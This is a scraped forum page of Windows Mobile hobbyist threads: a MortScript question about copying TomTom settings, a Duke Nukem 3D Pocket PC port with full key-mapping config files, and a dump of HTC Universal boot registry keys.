Code.mscr for win4.2 Help!!! - General Topics

Hi,
sorry but I don't know where to ask for help on this script and I am not familiar with the instructions.
If I'm wrong spostatemi section in the right one!
Code:
Errorlevel( "off" )
XCopy( "\SDMMC\TT7\MapSettings\*.*", "\SDMMC\Italia",True )
sleep 100
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "ACSuspend",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "ACSuspendTimeout",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "ACSystemIdle",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "ACUserIdle",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "BattSuspend",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "BattSuspendTimeout",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "BattSystemIdle",0 )
RegWriteDWord( "HKLM", "\System\CurrentControlSet\Control\Power\Timeouts", "BattUserIdle",0 )
Sleep 200
RunWait ( "\SDMMC\TT7\TomTom_Navigator.exe" )
# If ( Not WndExists("ErrorLevel") )
If int FileSize ( "\SDMMC\Italia\MapSettings.cfg") >= int FileSize ( "\SDMMC\TT7\MapSettings\MapSettings.cfg" )
# Memorizza destinazioni
Copy( "\SDMMC\Italia\MapSettings.cfg", "\SDMMC\TT7\MapSettings\MapSettings.cfg",True )
sleep 100
EndIf
# EndIf
Exit
I would like to know which are the correct ones intruzioni to run this command: If int FileSize ("\SDMMC\Italia\MapSettings.cfg") > = int FileSize ("\SDMMC\TT7\MapSettings\MapSettings.cfg")
This command should compare the size of the two files, I read the instructions in English but do not seem too esaudienti ... ...
If anyone can help me, thank you in advance
Hello

Related

Duke3d ported to PocketPC

Guys,Dukem Nukem 3D is ported to Pocket Pc!!!
Latest version v0.4g
Configuration files for Himalayas,BlueAngel,Universal.
--------------XDA2--------------------
BUTTON: --------------------COMMAND:
Left----------------------------Left
Right--------------------------Right
Up-----------------------------Up
Down--------------------------Down
Pad----------------------------Enter
Contacts----------------------Softkey2
Calendar----------------------Softkey1
Record------------------------Endcall
Volume Up--------------------Volumeup
Volume Down----------------Volumedown
Green Phone button---------Call
TouchScreen-----------------Mousebutton0
Simply download the uploaded .Zip file and extract all in your PocketPc folder or SD! Then use add the .GRP file (you can download Shareware Duke from ftp://ftp.3drealms.com/share/3dduke13.zip ) and run SpvDuke3d.exe!
Universal VGA 0.4f with music support,you need to download Timidity file and extract it to \Storage Card\Timidity
http://www.libsdl.org/projects/SDL_mixer/timidity/timidity.tar.gz
Enjoy!
[Himalayas and BlueAngel file version v0.3b as there are some problems with latest versions.]
[2 Universal versions: QVGA version v0.3b, Landscape VGA v0.4f with music support!]
being for the spv the res is somewhat lower then it would be if it was made for pocketpc i asume
np,the app supports both SmartPhones and PocketPc..
Key codes
unapproachable2kx said:
np,the app supports both SmartPhones and PocketPc..it was rebuilt for that.
But no mapped keys,so I still need know 4 buttons of Xda2.
Click to expand...
Click to collapse
Hi,
Try these:
193 = calendar
194 = contacts
195 = camera
196 = recorder
BR
Doesnt work. :?
I downloaded from that link and it crashes my xda1.
Quiting Duke3d!
I have found a way to quit duke3d! Simply:
change Multi1 = "Call" "" to Multi1 = "" ""
and
change Original_F10 = "" "" to Original_F10 = "Call" ""
(IN Landscape_0)
This should let you close duke3d using the answer button!
Also for better game play choose:
ScreenWidth = 240
ScreenHeight = 180
Rather than:
ScreenWidth = 0
ScreenHeight = 0
There is a big gap at the bottom of the screen but frame rate is greatly improved!
I have not been able to setup the landscape modes but as soon as I do I will post my results!
Below is my .cfg file for the XDAII if it helps anyone.
- XDAII joystick button is crouch and open doors.
- Volume UP/DOWN is strafe left/right.
- Call button quits the game.
- Touching the screen fires
- All remaining buttons is Jump
[Setup]
SetupVersion = "1.3D"
[Engine Setup]
UsingGapi = 1
Platform_Timer_HZ = 100
LandscapeMode = 1
CacheMemory = 2600
ShowFPS = 1
TickRate = 100
TicksPerFrame = 26
ScanCodeMapping = 1
[Scan Code Mapping]
sc_59 = "Escape"
sc_60 = "VolumeUp"
sc_61 = "VolumeDown"
sc_AUX1 = "A"
sc_AUX2 = "Z"
sc_AUX3 = ""
sc_AUX4 = ""
sc_AUX5 = ""
[Screen Setup]
ScreenMode = 1
ScreenWidth = 0
ScreenHeight = 0
Shadows = 0
Password = ""
Detail = 1
Tilt = 0
Messages = 1
Out = 0
ScreenSize = 15
ScreenGamma = 16
[Sound Setup]
FXDevice = 0
MusicDevice = 0
FXVolume = 220
MusicVolume = 200
NumVoices = 4
NumChannels = 2
NumBits = 16
MixRate = 8000
MidiPort = 0x330
BlasterAddress = 0x220
BlasterType = 3
BlasterInterrupt = 5
BlasterDma8 = 1
BlasterDma16 = 5
BlasterEmu = 0x620
ReverseStereo = 0
SoundToggle = 1
VoiceToggle = 1
AmbienceToggle = 1
MusicToggle = 1
[KeyDefinitions]
Move_Forward = "Up" ""
Move_Backward = "Down" ""
Turn_Left = "Left" ""
Turn_Right = "Right" ""
Strafe = "" ""
Fire = "LCtrl" "RCtrl"
Open = "Space" ""
Run = "LShift" "RShift"
AutoRun = "CapLck" ""
Jump = "A" ""
Crouch = "Z" ""
Look_Up = "" ""
Look_Down = "" ""
Look_Left = "Insert" ""
Look_Right = "Delete" ""
Strafe_Left = "4" ""
Strafe_Right = "6" ""
Aim_Up = "2" ""
Aim_Down = "8" ""
Inventory = "Enter" ""
Inventory_Left = "G" ""
Inventory_Right = "M" ""
Holo_Duke = "" ""
Jetpack = "" ""
NightVision = "" ""
MedKit = "" ""
TurnAround = "BakSpc" ""
SendMessage = "" ""
Map = "Tab" ""
Shrink_Screen = "-" "Kpad-"
Enlarge_Screen = "=" "Kpad+"
Center_View = "KPad5" ""
Holster_Weapon = "ScrLck" ""
Show_Opponents_Weapon = "" ""
Map_Follow_Mode = "" ""
See_Coop_View = "" ""
Mouse_Aiming = "" ""
Toggle_Crosshair = "" ""
Steroids = "" ""
Quick_Kick = "`" ""
Next_Weapon = "'" ""
Previous_Weapon = ";" ""
Original_F1 = "" ""
Original_F2 = "" ""
Original_F3 = "" ""
Original_F4 = "" ""
Original_F5 = "" ""
Original_F6 = "" ""
Original_F7 = "" ""
Original_F8 = "" ""
Original_F9 = "" ""
Original_F10 = "" ""
[KeyDefinitions_Landscape0]
Move_Forward = "Up" ""
Move_Backward = "Down" ""
Turn_Left = "Left" ""
Turn_Right = "Right" ""
Strafe = "" ""
Fire = "Enter" ""
Open = "Pound" ""
Run = "LShift" "RShift"
AutoRun = "0" ""
Jump = "VolumeUp" ""
Crouch = "VolumeDown" ""
Look_Up = "" ""
Look_Down = "" ""
Look_Left = "Insert" ""
Look_Right = "Delete" ""
Strafe_Left = "4" ""
Strafe_Right = "6" ""
Aim_Up = "2" ""
Aim_Down = "8" ""
Inventory = "J" ""
Inventory_Left = "G" ""
Inventory_Right = "M" ""
Holo_Duke = "" ""
Jetpack = "" ""
NightVision = "" ""
MedKit = "" ""
TurnAround = "W" ""
SendMessage = "" ""
Map = "Record" ""
Shrink_Screen = "-" "Kpad-"
Enlarge_Screen = "=" "Kpad+"
Center_View = "KPad5" ""
Holster_Weapon = "ScrLck" ""
Show_Opponents_Weapon = "" ""
Map_Follow_Mode = "SoftKey1" ""
See_Coop_View = "" ""
Mouse_Aiming = "" ""
Toggle_Crosshair = "" ""
Steroids = "" ""
Quick_Kick = "`" ""
Next_Weapon = "D" ""
Previous_Weapon = "." ""
Original_F1 = "" ""
Original_F2 = "" ""
Original_F3 = "" ""
Original_F4 = "" ""
Original_F5 = "" ""
Original_F6 = "" ""
Original_F7 = "" ""
Original_F8 = "" ""
Original_F9 = "" ""
Original_F10 = "Call" ""
Multi1 = "" ""
[KeyDefinitions_Landscape1]
Move_Forward = "Left" ""
Move_Backward = "Right" ""
Turn_Left = "Down" ""
Turn_Right = "Up" ""
Strafe = "" ""
Fire = "" ""
Open = "Enter" ""
Run = "LShift" "RShift"
AutoRun = "0" ""
Jump = "A" ""
Crouch = "Enter" ""
Look_Up = "" ""
Look_Down = "" ""
Look_Left = "Insert" ""
Look_Right = "Delete" ""
Strafe_Left = "VolumeDown" ""
Strafe_Right = "VolumeUp" ""
Aim_Up = "2" ""
Aim_Down = "8" ""
Inventory = "J" ""
Inventory_Left = "G" ""
Inventory_Right = "M" ""
Holo_Duke = "" ""
Jetpack = "" ""
NightVision = "" ""
MedKit = "" ""
TurnAround = "W" ""
SendMessage = "" ""
Map = "Record" ""
Shrink_Screen = "-" "Kpad-"
Enlarge_Screen = "=" "Kpad+"
Center_View = "KPad5" ""
Holster_Weapon = "ScrLck" ""
Show_Opponents_Weapon = "" ""
Map_Follow_Mode = "SoftKey1" ""
See_Coop_View = "" ""
Mouse_Aiming = "" ""
Toggle_Crosshair = "" ""
Steroids = "" ""
Quick_Kick = "`" ""
Next_Weapon = "D" ""
Previous_Weapon = "." ""
Original_F1 = "" ""
Original_F2 = "" ""
Original_F3 = "" ""
Original_F4 = "" ""
Original_F5 = "" ""
Original_F6 = "" ""
Original_F7 = "" ""
Original_F8 = "" ""
Original_F9 = "" ""
Original_F10 = "Call" ""
Multi1 = "" ""
[KeyDefinitions_Landscape2]
Move_Forward = "Right" ""
Move_Backward = "Left" ""
Turn_Left = "Up" ""
Turn_Right = "Down" ""
Strafe = "" ""
Fire = "F8" ""
Open = "F9" ""
Run = "LShift" "RShift"
AutoRun = "CapLck" ""
Jump = "A" "/"
Crouch = "Z" ""
Look_Up = "PgUp" "Kpad9"
Look_Down = "PgDn" "Kpad3"
Look_Left = "Insert" "Kpad0"
Look_Right = "Delete" "Kpad."
Strafe_Left = "," ""
Strafe_Right = "." ""
Aim_Up = "Home" "KPad7"
Aim_Down = "End" "Kpad1"
Inventory = "Enter" "KpdEnt"
Inventory_Left = "[" ""
Inventory_Right = "]" ""
Holo_Duke = "H" ""
Jetpack = "J" ""
NightVision = "N" ""
MedKit = "M" ""
TurnAround = "BakSpc" ""
SendMessage = "T" ""
Map = "Tab" ""
Shrink_Screen = "-" "Kpad-"
Enlarge_Screen = "=" "Kpad+"
Center_View = "KPad5" ""
Holster_Weapon = "ScrLck" ""
Show_Opponents_Weapon = "W" ""
Map_Follow_Mode = "F" ""
See_Coop_View = "K" ""
Mouse_Aiming = "U" ""
Toggle_Crosshair = "I" ""
Steroids = "R" ""
Quick_Kick = "`" ""
Next_Weapon = "'" ""
Previous_Weapon = ";" ""
Original_F1 = "" ""
Original_F2 = "" ""
Original_F3 = "" ""
Original_F4 = "" ""
Original_F5 = "" ""
Original_F6 = "" ""
Original_F7 = "" ""
Original_F8 = "" ""
Original_F9 = "" ""
Original_F10 = "" ""
Original_F11 = "" ""
Original_F12 = "" ""
[Controls]
ControllerType = 1
JoystickPort = 0
MouseSensitivity = 32768
ExternalFilename = "EXTERNAL.EXE"
EnableRudder = 0
MouseAiming = 0
MouseButton0 = "Fire"
MouseButtonClicked0 = ""
MouseButton1 = "Strafe"
MouseButtonClicked1 = "Open"
MouseButton2 = "Move_Forward"
MouseButtonClicked2 = ""
JoystickButton0 = "Fire"
JoystickButtonClicked0 = ""
JoystickButton1 = "Strafe"
JoystickButtonClicked1 = "Inventory"
JoystickButton2 = "Run"
JoystickButtonClicked2 = ""
JoystickButton3 = "Open"
JoystickButtonClicked3 = "Crouch"
JoystickButton4 = "Aim_Down"
JoystickButtonClicked4 = ""
JoystickButton5 = "Look_Right"
JoystickButtonClicked5 = ""
JoystickButton6 = "Aim_Up"
JoystickButtonClicked6 = ""
JoystickButton7 = "Look_Left"
JoystickButtonClicked7 = ""
MouseAnalogAxes0 = "analog_turning"
MouseDigitalAxes0_0 = ""
MouseDigitalAxes0_1 = ""
MouseAnalogScale0 = 0
MouseAnalogAxes1 = "analog_moving"
MouseDigitalAxes1_0 = ""
MouseDigitalAxes1_1 = ""
MouseAnalogScale1 = 0
JoystickAnalogAxes0 = "analog_turning"
JoystickDigitalAxes0_0 = ""
JoystickDigitalAxes0_1 = ""
JoystickAnalogScale0 = 0
JoystickAnalogAxes1 = "analog_moving"
JoystickDigitalAxes1_0 = ""
JoystickDigitalAxes1_1 = ""
JoystickAnalogScale1 = 0
JoystickAnalogAxes2 = "analog_strafing"
JoystickDigitalAxes2_0 = ""
JoystickDigitalAxes2_1 = ""
JoystickAnalogScale2 = 0
JoystickAnalogAxes3 = ""
JoystickDigitalAxes3_0 = "Run"
JoystickDigitalAxes3_1 = ""
JoystickAnalogScale3 = 0
GamePadDigitalAxes0_0 = "Turn_Left"
GamePadDigitalAxes0_1 = "Turn_Right"
GamePadDigitalAxes1_0 = "Move_Forward"
GamePadDigitalAxes1_1 = "Move_Backward"
MouseAimingFlipped = 0
GameMouseAiming = 0
AimingFlag = 0
[Comm Setup]
ComPort = 2
IrqNumber = 65535
UartAddress = 0xFFFF
PortSpeed = 9600
ToneDial = 1
SocketNumber = 0xFFFF
NumberPlayers = 2
ModemName = ""
InitString = "ATZ"
HangupString = "ATH0=0"
DialoutString = ""
PlayerName = "DUKE"
RTSName = "DUKE.RTS"
PhoneNumber = ""
ConnectType = 0
CommbatMacro#0 = "An inspiration for birth control."
CommbatMacro#1 = "You're gonna die for that!"
CommbatMacro#2 = "It hurts to be you."
CommbatMacro#3 = "Lucky Son of a *****."
CommbatMacro#4 = "Hmmm....Payback time."
CommbatMacro#5 = "You bottom dwelling scum sucker."
CommbatMacro#6 = "Damn, you're ugly."
CommbatMacro#7 = "Ha ha ha...Wasted!"
CommbatMacro#8 = "You suck!"
CommbatMacro#9 = "AARRRGHHHHH!!!"
PhoneName#0 = ""
PhoneNumber#0 = ""
PhoneName#1 = ""
PhoneNumber#1 = ""
PhoneName#2 = ""
PhoneNumber#2 = ""
PhoneName#3 = ""
PhoneNumber#3 = ""
PhoneName#4 = ""
PhoneNumber#4 = ""
PhoneName#5 = ""
PhoneNumber#5 = ""
PhoneName#6 = ""
PhoneNumber#6 = ""
PhoneName#7 = ""
PhoneNumber#7 = ""
PhoneName#8 = ""
PhoneNumber#8 = ""
PhoneName#9 = ""
PhoneNumber#9 = ""
[Misc]
Executions = 64
RunMode = 1
Crosshairs = 1
WeaponChoice0 = 3
WeaponChoice1 = 4
WeaponChoice2 = 5
WeaponChoice3 = 7
WeaponChoice4 = 8
WeaponChoice5 = 6
WeaponChoice6 = 0
WeaponChoice7 = 2
WeaponChoice8 = 9
WeaponChoice9 = 1
i'm not having much luck with this game
i got the shareware stuff but i cant install it
i get an error no matter which compatility mode i put it in
then when i try just running the duke3d for spv then i get some text black on grey soo fast i cant read what it say
then then i just get a blackscreen untill i softreset
well at one point i could get back without a softreset but the title bars were still black on programs and their close button would not work any more
Rudegar said:
i'm not having much luck with this game
i got the shareware stuff but i cant install it
i get an error no matter which compatility mode i put it in
then when i try just running the duke3d for spv then i get some text black on grey soo fast i cant read what it say
then then i just get a blackscreen untill i softreset
well at one point i could get back without a softreset but the title bars were still black on programs and their close button would not work any more
Click to expand...
Click to collapse
Yup..had you download it on my ftp? it must run well,now all buttons,except Red Phone button are fixed.
(will Upload the new Cfg on a while)
no your site is a bit too italian
i can check the checkbos for the file but pressing any of the 2 buttons one saying aggiorna the other saying scarica dont seem to do anything
also from what i can understand then i need some org gpr file or something but since cant get the shareware game to install on my pc
i cant seem to get hold of that
I have put all Shareware and .exe file into the .RAR so you only have to download and extract to any of your Pocket Pc folder!
Check box and Click to SCARICA,then SALVA.
ok now i somehow got it downloaded i can start it and all but not shoot
from what i can read at pocketgamer this is a known bug
but my problem when i try to close the game i still dont get the titlebar back i tried to run pocket heretic and close it again and i still dont get my title bar back i do seem to get it back if i run the camera but when i close that then my titlebar is lost once more
i'm forced to do a softreset to get my titlebar back
reminds me of pocket tombraider having to softreset to get on with ones life
Rudegar said:
ok now i somehow got it downloaded i can start it and all but not shoot
from what i can read at pocketgamer this is a known bug
but my problem when i try to close the game i still dont get the titlebar back i tried to run pocket heretic and close it again and i still dont get my title bar back i do seem to get it back if i run the camera but when i close that then my titlebar is lost once more
i'm forced to do a softreset to get my titlebar back
reminds me of pocket tombraider having to softreset to get on with ones life
Click to expand...
Click to collapse
You have sumthin' strange.. Have you tryed Fire by tapping the screen?
Also,using Green Phone button,I can exit without problems..had this problem on previous version.. dunno
no havent tried tabing the screen silly me really
i exit the game by using the pickup button
and then when it say y/n i press pickup button once more
maybe it's some of the extre programs i have running
today stuff and vidcomm stack disabled, ms stack disabled, task manager and extPhone
maybe they cause it somehow
when i uninstalled my vidcomm stack because it gave me some trouble
then all of a surden mediaplayer refused to play wma files saying it didint have the right codec
so i tried doing a hardreset and then i wanted to try duke3d on a clean system but it still take my titlebar away when i close the game
maybe it's an qtek 1.66 rom issue
or maybe it dont like being run from the sd card
Just let you know new version is out (0.4b) Rudegar,try it now..I am sure exit bug is fixed!
where is it at ?
i tried getting it from the org place where it's only the basics
and not your bigger version with everything but the one i just gotten the basic one is still only 0.03b
with the latest 0.4 all my problems are solved well duke related problems that is (excluding duke 4ever )

uni booting process

Hi, i am interested in uni deep. can someone tell me, which code and which programs are loaded after reset? I mean what uni do from reset to start wm6. Many thanks for any advice
want info ?
uni boot registry
[HKEY_LOCAL_MACHINE\init]
"Launch20"="device.exe"
[HKEY_LOCAL_MACHINE\Drivers]
"RootKey"="Drivers\\BuiltIn"
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn]
"Dll"="BusEnum.dll"
"BusName"="BuiltIn"
"Flags"=dword:8
"BusIoctl"=dword:2a0048
"InterfaceType"=dword:0
"IClass"=multi_sz:"{B3CC6EBA-5507-4196-8E41-2BF42E4A47C9}=%b","{6F40791D-300E-44E4-BC38-E0E63CA8375C}=%b"
[HKEY_LOCAL_MACHINE\System\Events]
"SYSTEM/DevMgrApiSetReady"="Device Manager APIs ready"
[HKEY_LOCAL_MACHINE\System\Events]
"SYSTEM/PowerManagerReady"="Power Manager APIs ready"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\Interfaces]
"{A32942B7-920C-486b-B0E6-92A702A99B35}"="Generic power-manageable devices"
"{8DD679CE-8AB4-43c8-A14A-EA4963FAA715}"="Power-manageable block devices"
"{98C5250D-C29A-4985-AE5F-AFE5367E5006}"="Power-manageable NDIS miniports"
"{EB91C7C9-8BF6-4a2d-9AB8-69724EED97D1}"="Power-manageable display"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\On]
"Default"=dword:0 ; D0
"Flags"=dword:12010000 ; POWER_STATE_ON | POWER_STATE_PASSWORD | POWER_STATE_BACKLIGHTON
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Suspend]
"Default"=dword:3 ; D3
"Flags"=dword:200000 ; POWER_STATE_SUSPEND
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\ColdReboot]
"Default"=dword:4 ; D4
"Flags"=dword:800000 ; POWER_STATE_RESET
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Reboot]
"Default"=dword:4 ; D4
"Flags"=dword:800000 ; POWER_STATE_RESET
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Suspend\{98C5250D-C29A-4985-AE5F-AFE5367E5006}]
"Default"=dword:4 ; D4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\UserIdle]
"Default"=dword:2 ; D2
"Flags"=dword:1000000 ; POWER_STATE_USERIDLE
"bkl1:"=dword:4 ; backlight off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\UserIdle\{EB91C7C9-8BF6-4a2d-9AB8-69724EED97D1}]
"Default"=dword:4 ; D4 ; display off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\BacklightOff]
"Default"=dword:0 ; D0
"Flags"=dword:10010000 ; POWER_STATE_ON | POWER_STATE_PASSWORD
"bkl1:"=dword:4 ; backlight off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\ScreenOff]
"Default"=dword:0 ; D0
"Flags"=dword:100000 ; POWER_STATE_IDLE
"bkl1:"=dword:4 ; backlight off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\ScreenOff\{EB91C7C9-8BF6-4a2d-9AB8-69724EED97D1}]
"Default"=dword:4 ; D4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Unattended]
"Default"=dword:0 ; D0
"Flags"=dword:400000
"wav1:"=dword:4 ; sound disabled
"bkl1:"=dword:4 ; backlight off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Unattended\{EB91C7C9-8BF6-4a2d-9AB8-69724EED97D1}]
"Default"=dword:4 ; D4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Resuming]
"Default"=dword:2 ; D2
"Flags"=dword:10000000 ; POWER_STATE_PASSWORD
"bkl1:"=dword:4 ; backlight off
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\State\Resuming\{EB91C7C9-8BF6-4a2d-9AB8-69724EED97D1}]
"Default"=dword:4 ; D4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power]
"SystemPriority256"=dword:F8 ; 248 - THREAD_PRIORITY_TIME_CRITICAL
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\ActivityTimers\UserActivity]
"TimeoutMs"=dword:64 ; in milli seconds
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\Timeouts]
"ACSuspendTimeout"=dword:0 ; timeout disabled on AC power
"ACResumingSuspendTimeout"=dword:F ; 15 seconds
"BattSuspendTimeout"=dword:B4 ; 3 minutes (180 seconds) on battery
"BattResumingSuspendTimeout"=dword:F ; 15 seconds
[HKEY_LOCAL_MACHINE\SYSTEM\Events]
"SYSTEM/GweApiSetReady"="Event triggered after GWES registers its API sets"
[HKEY_LOCAL_MACHINE\init\BootVars]
"SystemHive"="Documents and Settings\\system.hv"
"ProfileDir"="Documents and Settings"
"Flags"=dword:0
[HKEY_LOCAL_MACHINE\System\ObjectStore]
"DefaultDBVol"="Documents and Settings\\default.vol"
[HKEY_LOCAL_MACHINE\System\ObjectStore]
"AllowSystemAccess"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager\Filters\fsreplxfilt]
"ReplStoreHostVolume"=""
"ReplStorePath"="\\ReplStorVol"
"ReplStoreName"="ReplStor"
"ReplStoreDoImmaculate"=dword:0
"ReplStoreCacheSize"=dword:0
"NumDirsToExclude"=dword:0
"DirsToExclude"=multi_sz:""
[HKEY_LOCAL_MACHINE\System\ObjectStore]
"RegistryType"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager]
"Dll"="fsdmgr.dll"
"PNPUnloadDelay"=dword:1000
[HKEY_LOCAL_MACHINE\System\Events]
"ReleaseFSD"="ReleaseFSD"
[HKEY_LOCAL_MACHINE\Loader]
"SystemPath"=multi_sz:"\\Release\\"
[HKEY_LOCAL_MACHINE\System\StorageManager\AutoLoad\Relfsd]
"Dll"="relfsd.dll"
"Paging"=dword:0
"LoadFlags"=dword:1
"mount"="Release"
"secure"=dword:0
[HKEY_LOCAL_MACHINE\System\StorageManager\FATFS]
"FriendlyName"="FAT FileSystem"
"Dll"="fatfsd.dll"
"Flags"=dword:00000064
"Paging"=dword:1
"EnableCache"=dword:1
"CacheSize"=dword:0
"Util"="fatutil.dll"
"CacheDll"="diskcache.dll"
[HKEY_LOCAL_MACHINE\System\StorageManager\FATFS\Filters\CacheFilt]
"Dll"="CacheFilt.dll"
"Order"=dword:2
[HKEY_LOCAL_MACHINE\System\StorageManager\IMGFS]
"FriendlyName"="Image-Update Filesystem"
"Dll"="imgfs.dll"
"Paging"=dword:1
"ShadowROM"=dword:1
[HKEY_LOCAL_MACHINE\System\ImageUpdate\UpdateApp]
"InputFileName"="UAInput.000"
"OutputFileName"="UAOutput.000"
"PersistentRoot"="\\OSRoot"
"PersistentTempName"="UATemp"
"RAMTempDir"="\\UATemp"
"DisplayDLL"="uldrui.dll"
"ValidatorLogPath"="\\Release\\UpdateValidator.log"
"UpdateAppLogPath"="\\OSRoot\\UpdateApp.log"
"UpdateSettingsDir"="IUSettingsBackup"
[HKEY_LOCAL_MACHINE\System\StorageManager\MSPART]
"Dll"="mspart.dll"
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles]
"AutoMount"=dword:1
"AutoPart"=dword:0
"AutoFormat"=dword:0
"MountFlags"=dword:0
"DefaultFileSystem"=""
"PartitionDriverName"="MSPART"
"Folder"="Mounted Volume"
[HKEY_LOCAL_MACHINE\System\StorageManager\PartitionTable]
"01"="FATFS"
"04"="FATFS"
"06"="FATFS"
"07"="NTFS"
"0B"="FATFS"
"0C"="FATFS"
"0E"="FATFS"
"0F"="FATFS"
"20"="BOOT"
"21"="BINFS"
"22"="RAWFS"
"23"="RAWFS"
"25"="IMGFS"
"26"="BINARY"
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\MSFlash]
"PartitionDriver"="mspart.dll"
"MountAsROM"=dword:1
"MountHidden"=dword:1
"Folder"="Flash Disk"
"Name"="FLASH Disk Block Device"
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\MSFlash\FATFS]
"MountAsROM"=dword:0
"MountHidden"=dword:0
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\CDProfile]
"Name"="IDE CDROM/DVD Drive"
"Folder"="CDROM Drive"
"DefaultFileSystem"="UDFS"
"PartitionDriver"=""
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\CDProfile\PartitionTable]
[HKEY_LOCAL_MACHINE\Comm\VMini]
"DisplayName"=mui_sz:"netmui.dll,#9006"
"Group"="NDIS"
"ImagePath"="VMini.dll"
"Priority256"=dword:83
[HKEY_LOCAL_MACHINE\Comm\VMini\Linkage]
"Route"=multi_sz:"VMINI1"
[HKEY_LOCAL_MACHINE\Comm\VMINI1]
"DisplayName"=mui_sz:"netmui.dll,#9006"
"Group"="NDIS"
"ImagePath"="VMini.dll"
[HKEY_LOCAL_MACHINE\Comm\VMINI1\Parms]
"BusNumber"=dword:0
"BusType"=dword:0
part 2
[HKEY_LOCAL_MACHINE\Comm\Security\SystemCertificates\Root]
"InitFile"="\\windows\\sysroots.p7b"
[HKEY_LOCAL_MACHINE\System\Events]
"LASS_SRV_STARTED"="LASS APIs ready"
[HKEY_LOCAL_MACHINE\nls]
"LegacyLocaleMode"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager\Filters\fsdspy]
"dll"="fsdspy.dll"
[HKEY_LOCAL_MACHINE\System\StorageManager\Filters\fsreplxfilt]
"NumDirsToExclude"=dword:e
"DirsToExclude"=multi_sz: "\\mxip_initdb.vol",
"\\mxip_system.vol",
"\\mxip_notify.vol",
"\\mxip_lang.vol",
"\\cemail.vol",
"\\pim.vol",
"\\Documents and Settings\\default\\user.hv",
"\\Documents and Settings\\system.hv",
"\\Windows\\Profiles\\guest\\Temporary Internet Files\\",
"\\Windows\\Profiles\\guest\\Cookies\\",
"\\Windows\\Profiles\\guest\\History\\",
"\\Windows\\Activesync\\",
"\\windows\\messaging\\",
"\\Temp\\"
[HKEY_LOCAL_MACHINE\init\BootVars]
"RequireCertMod"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager\AutoLoad\Relfsd]
"MountFlags"=dword:1 ; hides the release directory from enumeration
[HKEY_LOCAL_MACHINE\init\BootVars]
"Flags"=dword:1
[HKEY_LOCAL_MACHINE\MUI]
"Enable"=dword:1
[HKEY_LOCAL_MACHINE\MUI]
"SysLang"=dword:409
[HKEY_CURRENT_USER\MUI]
"CurLang"=dword:409
[HKEY_LOCAL_MACHINE\System\Events]
"SYSTEM/NLedAPIsReady"="Notification LED APIs"
[HKEY_LOCAL_MACHINE\init\BootVars]
"Flags"=dword:1
"Launch10"="shell.exe"
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power]
"ScreenPowerOff"=dword:3c
[HKEY_LOCAL_MACHINE\System\Platform]
"DataPath"="\\"
"PSAtRoot"=dword:1
[HKEY_LOCAL_MACHINE\SYSTEM\GWE\Notify]
"volume"="\\mxip_notify.vol"
[HKEY_CURRENT_USER\Software\Microsoft\Windows]
"DbPath"="\\mxip_initdb.vol"
"LangDbPath"="\\mxip_lang.vol"
[HKEY_LOCAL_MACHINE\Init\BootVars]
"MasterKeyFileDir"="\\windows"
[HKEY_LOCAL_MACHINE\init\BootVars]
"Flags"=dword:5
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC\IMGFS]
"MountFlags"=dword:11
"MountHidden"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager\Profiles\TRUEFFS_DOC]
"Name"="DiskOnChip M-Systems"
"Folder"="imgfs"
"MountFlags"=dword:11
"BootPhase"=dword:0
[HKEY_LOCAL_MACHINE\Drivers\BuiltIn\TrueFFS]
"Flags"=dword:1000
"Index"=dword:1
"Profile"="TRUEFFS_DOC"
"Dll"="TrueFFS_G3.dll"
"Prefix"="DSK"
"Order"=dword:0
"WindowBase"=dword:0
"IClass"=multi_sz:"{A4E7EDDA-E575-4252-9D6B-4195D48BB865}"
"BootPhase"=dword:0
"SoftwareWriteProtect"=dword:1
[HKEY_LOCAL_MACHINE\System\StorageManager\Autoload\TrueFFS]
"DriverPath"="Drivers\\BuiltIn\\TrueFFS"
"LoadFlags"=dword:1
"BootPhase"=dword:0
